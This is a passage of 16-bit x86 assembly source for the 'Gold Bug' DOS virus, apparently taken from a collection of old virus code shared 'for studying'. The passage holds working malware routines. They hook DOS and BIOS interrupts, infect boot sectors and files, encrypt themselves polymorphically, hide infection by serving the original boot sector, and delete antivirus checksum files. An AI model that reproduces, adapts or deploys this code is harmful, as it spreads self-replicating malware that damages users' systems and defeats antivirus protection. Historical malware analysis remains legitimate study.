gold-bug.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

		jmp     short a_return
		ENDIF
our_kind:       popa
		IF      MULTIPARTITE
		pop     ds
error_in_copy:  inc     di
		xchg    byte ptr ds:[di],ch
		mov     ax,OPEN_W_HANDLE+DENYNONE
		int     INT_21_IS_NOW
		xchg    ax,bx
		jnc     close_it
		mov     byte ptr ds:[di],ch
jmp_a_return:   jmp     short a_return
close_it:       call    force_close
		ENDIF
a_return:       pop     es
		pop     ds
		popa
opened_file:    popf
old_int_10_21:  jmp     far ptr original_int_10
		IF      MULTIPARTITE
test_if_open:   popa
		pop     ds
		IF      READING_STEALTH OR DEFLECT_DELETE
		cmp     bh,high(EXEC_PROGRAM)
		jne     error_in_copy
		ENDIF
drive_letter:   sub     al,USING_HARD_DISK
		jns     error_in_copy
		mov     ax,GET+FILE_ATTRIBUTES
		int     INT_21_IS_NOW
		mov     ah,high(RENAME_A_FILE)
		pusha
		mov     di,offset file_name+RELATIVE_OFFSET
		push    cs
		pop     es
		int     INT_21_IS_NOW
set_attribs:    popa
		int     INT_21_IS_NOW
		mov     ah,high(CREATE_NEW_FILE)
		int     INT_21_IS_NOW
		jc      error_in_copy
		xchg    ax,bx
		mov     ax,SET+FILE_ATTRIBUTES
		pusha
		push    ds
		push    cs
		pop     ds
		or      cl,SYSTEM
		mov     dx,offset file_name+RELATIVE_OFFSET
		int     INT_21_IS_NOW
		IF      ANTI_ANTIVIRUS
		mov     dx,offset fcb_name+RELATIVE_OFFSET
		mov     ah,high(DELETE_W_FCB)
		int     INT_21_IS_NOW
		ENDIF
		xor     di,di
		mov     ax,SCRATCH_AREA
		mov     es,ax
		mov     ds,ax
		call    full_move
		call    move_some_more
		IF      POLYMORPHIC
		xor     si,si
		mov     cx,word ptr ds:[si+FILE_LEN_OFFSET]
		org     $-REMOVE_NOP
		IF      DOUBLE_DECRYPT
		pusha
set_second:     add     al,byte ptr cs:[si+RES_OFFSET]
		inc     ax
		xor     byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
		org     $-REMOVE_NOP
		inc     si
		loop    set_second
		popa
		ENDIF
		mov     ax,cx
		pusha
		xor     bx,bx
		mov     bl,byte ptr ds:[si+XOR_SWAP_OFFSET]
		org     $-REMOVE_NOP
set_first:      xor     word ptr ds:[bx],ax
		inc     bx
		loop    set_first
		popa
		ELSE
file_length:    mov     cx,NULL
		ENDIF
		mov     ah,high(WRITE_W_HANDLE)
		cwd
		int     INT_21_IS_NOW
		IF      SAME_FILE_DATE
		mov     ax,SET+FILE_DATE_TIME
new_time:       mov     cx,NULL
new_date:       mov     dx,NULL
		call    do_int21_close
		ELSE
		call    force_close
		ENDIF
		pop     ds
		jmp     short set_attribs
		ENDIF
interrupt_21    endp

;-----------------------------------------------------------------------------

open_close_file proc    near
		mov     ax,OPEN_W_HANDLE+DENYNONE
		xor     cx,cx
		int     INT_21_IS_NOW
		jc      more_returns
		xchg    ax,bx
		IF      MULTIPARTITE
		mov     dx,HEADER_SEGMENT
		mov     ds,dx
		ENDIF
		IF      MODEM_CODE
		IF      MULTIPARTITE
		mov     dl,NO_OF_COM_PORTS
		ELSE
		mov     dx,NO_OF_COM_PORTS
		ENDIF
scan_coms:      dec     dx
		js      no_more_coms
		mov     ax,GET_PORT_STATUS
		int     SERIAL_INT
		xor     al,DELTA_RI+CTS+DSR
		and     al,DELTA_RI+CTS+DSR+CD
		jnz     scan_coms
		mov     si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
		mov     cl,STRING_LENGTH
output_data:    lods    byte ptr cs:[si]
		mov     ah,high(WRITE_TO_PORT)
		int     SERIAL_INT
		loop    output_data
		ENDIF
no_more_coms:   IF      MULTIPARTITE
		mov     cl,EXE_HEADER_SIZE
		mov     ah,high(READ_W_HANDLE)
		cwd
		int     INT_21_IS_NOW
		xor     cx,cx
		ELSE
		xor     dx,dx
		ENDIF
		mov     ax,LSEEK_TO_END
		int     INT_21_IS_NOW
		IF      MULTIPARTITE
		IF      POLYMORPHIC
		mov     word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
		ELSE
		mov     word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
		ENDIF
		ENDIF
		inc     ah
		cmp     ax,MIN_FILE_SIZE+PSP_SIZE
		adc     dx,cx
		mov     si,dx
		IF      SAME_FILE_DATE
		mov     ax,GET+FILE_DATE_TIME
do_int21_close: int     INT_21_IS_NOW
		ENDIF
force_close:    mov     ah,high(CLOSE_HANDLE)
		int     INT_21_IS_NOW
more_returns:   ret
open_close_file endp

;-----------------------------------------------------------------------------

full_move_w_si  proc    near
		IF      POLYMORPHIC
swap_incbx_bl:  xor     word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
		org     $-REMOVE_NOP
		xor     byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
		org     $-REMOVE_NOP
		ENDIF
		stc
full_move_w_di: mov     di,RES_OFFSET
full_move:      call    move_code
move_code:      jc      move_some_more
		mov     si,RES_OFFSET
		IF      POLYMORPHIC
		IF      CHECK_FOR_8088
		mov     cl,ONE_NIBBLE
		ror     word ptr cs:[si+ROTATED_OFFSET],cl
		org     $-REMOVE_NOP
		ELSE
		ror     word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
		org     $-REMOVE_NOP
		ENDIF
		ENDIF
move_some_more: mov     cx,SECTOR_SIZE
		pushf
		cld
		rep     movs byte ptr es:[di],cs:[si]
		popf
		stc
		ret
full_move_w_si  endp

;-----------------------------------------------------------------------------

		IF      ANTI_ANTIVIRUS
		org     PART_OFFSET-ONE_BYTE
fcb_name        db      DEFAULT_DRIVE
		ENDIF

;-----------------------------------------------------------------------------

		org     PART_OFFSET
boot_code:

;-----------------------------------------------------------------------------

initialize_boot proc    near
		IF      ANTI_ANTIVIRUS
		db      'CHKLIST????'
		cli
		push    cs
		mov     si,BOOT_OFFSET-SECTOR_SIZE
		pop     ss
		mov     sp,si
		sti
		push    cs
		org     PART_OFFSET+DESCRIPTOR_OFF
		db      high(DESCRIPTOR)
		pop     ds
		mov     cx,COM_CODE_SECTOR
		pushf
		push    cs
		push    BOOT_OFFSET
		mov     ax,READ_A_SECTOR
		ELSE
		cli
		push    cs
		mov     si,BOOT_OFFSET-SECTOR_SIZE
		pop     ss
		mov     sp,si
		sti
		pushf
		push    cs
		push    BOOT_OFFSET
		push    cs
		mov     cx,COM_CODE_SECTOR
		mov     ax,READ_A_SECTOR
		org     PART_OFFSET+DESCRIPTOR_OFF
		db      high(DESCRIPTOR)
		pop     ds
		ENDIF
		push    cs
		pop     es
dh_value:       mov     dx,NULL
		mov     bx,dx
		xor     dh,al
		shr     dx,1
		mov     dh,bh
		push    dx
		mov     bx,si
		push    ax
		int     DISK_INT
		pop     ax
		mov     di,VIDEO_INT_ADDR
		mov     bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
		call    get_n_set_int+ONE_BYTE
		mov     bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
		cmp     dx,LOW_JMP_10
		je      try_this_out
		cmp     byte ptr ds:[VIDEO_MODE],MONOCHROME
		jae     try_this_out
		mov     di,DISK_INT_ADDR
		IF      MULTIPARTITE
		call    set_both_ints
		ELSE
		mov     bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
		call    get_n_set_int+ONE_BYTE
		mov     bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
		call    set_interrupt
		ENDIF
		mov     ch,high(COLOR_VIDEO_MEM)
		mov     bx,offset high_code+RELATIVE_OFFSET
try_this_out:   push    cx
		push    bx
		mov     es,cx
		call    full_move_w_si
		retf
initialize_boot endp

;-----------------------------------------------------------------------------

high_code       proc    near
		mov     dx,offset int_10_start+RELATIVE_OFFSET
		mov     bx,LOW_JMP_10-FAR_JUMP_OFFSET
		call    set_int_10_21
		mov     bx,VIDEO_INT_ADDR-SET_INT_OFFSET
low_code:       mov     es,cx
		mov     cl,OLD_BOOT_SECTOR
		mov     dx,LOW_JMP_10
		call    set_interrupt
		mov     bx,BOOT_OFFSET
		pop     dx
		int     DISK_INT
		xor     dh,dh
		mov     cl,BOOT_SECTOR
		mov     ax,WRITE_A_SECTOR
high_code       endp

;-----------------------------------------------------------------------------

interrupt_13    proc    far
int_13_start:   IF      MULTIPARTITE
		mov     byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
		ENDIF
		cmp     cx,BOOT_SECTOR
		jne     no_boot_sector
		cmp     ah,high(READ_A_SECTOR)
		jne     no_boot_sector
		cmp     dx,HD_0_HEAD_0
		jbe     reread_boot
no_boot_sector: int     NEW_INT_13_LOOP
		jmp     short return_far
reread_boot:    int     NEW_INT_13_LOOP
		jc      return_far
		pusha
		push    ds
		push    es
		pop     ds
check_old_boot: mov     ax,READ_A_SECTOR
		xor     dh,dh
		mov     cl,OLD_BOOT_SECTOR
		IF      ANTI_ANTIVIRUS
		cmp     word ptr ds:[bx],'HC'
		ELSE
		cmp     word ptr ds:[bx],CLI_PUSHCS
		ENDIF
		je      read_old_boot
		test    dl,USING_HARD_DISK
		jnz     encode_hd
		cmp     word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
		jne     time_to_leave
		mov     dh,al
		pusha
		int     NEW_INT_13_LOOP
		cmp     byte ptr ds:[bx],ch
		popa
		pushf
		pusha
		xor     dh,dh
		mov     cl,al
		int     NEW_INT_13_LOOP
		popa
		popf
		jne     time_to_leave
encode_hd:      mov     ah,high(WRITE_A_SECTOR)
		push    ax
		int     NEW_INT_13_LOOP
		pop     ax
		jc      time_to_leave
		mov     di,bx
		call    move_code
		mov     cl,COM_CODE_SECTOR
		IF      POLYMORPHIC
		xor     byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
		org     $-REMOVE_NOP
		jo      dont_flip_it
		xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
		org     $-REMOVE_NOP
		xchg    ah,al
		xchg    word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
		org     $-REMOVE_NOP
		xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
		org     $-REMOVE_NOP
		ENDIF
dont_flip_it:   pusha
		int     NEW_INT_13_LOOP
		popa
		mov     di,bx
		call    move_some_more
		mov     byte ptr ds:[bx+DH_OFFSET],dh
		org     $-REMOVE_NOP
		mov     dh,cl
		inc     cx
		int     NEW_INT_13_LOOP
		jmp     short check_old_boot
read_old_boot:  mov     dh,byte ptr ds:[bx+DH_OFFSET]
		org     $-REMOVE_NOP
		int     NEW_INT_13_LOOP
time_to_leave:  pop     ds
		popa
		clc
return_far:     retf    KEEP_CF_INTACT
interrupt_13    endp

;-----------------------------------------------------------------------------

interrupt_2f    proc    far
		pusha
		push    ds
		push    es
		push    offset return_to_2f+RELATIVE_OFFSET
		xor     cx,cx
		mov     ds,cx
		mov     bx,SAVE_INT_CHAIN-SET_INT_OFFSET
		cmp     ax,WINDOWS_END
		jne     try_another
		les     dx,dword ptr ds:[bx+SET_INT_OFFSET]
		jmp     short set_13_chain
try_another:    cmp     ax,WINDOWS_BEGIN
		jne     another_return
		mov     di,VIRGIN_INT_13_B
		call    get_n_set_int+ONE_BYTE
		les     dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
set_13_chain:   mov     ax,READ_A_SECTOR
		call    get_set_part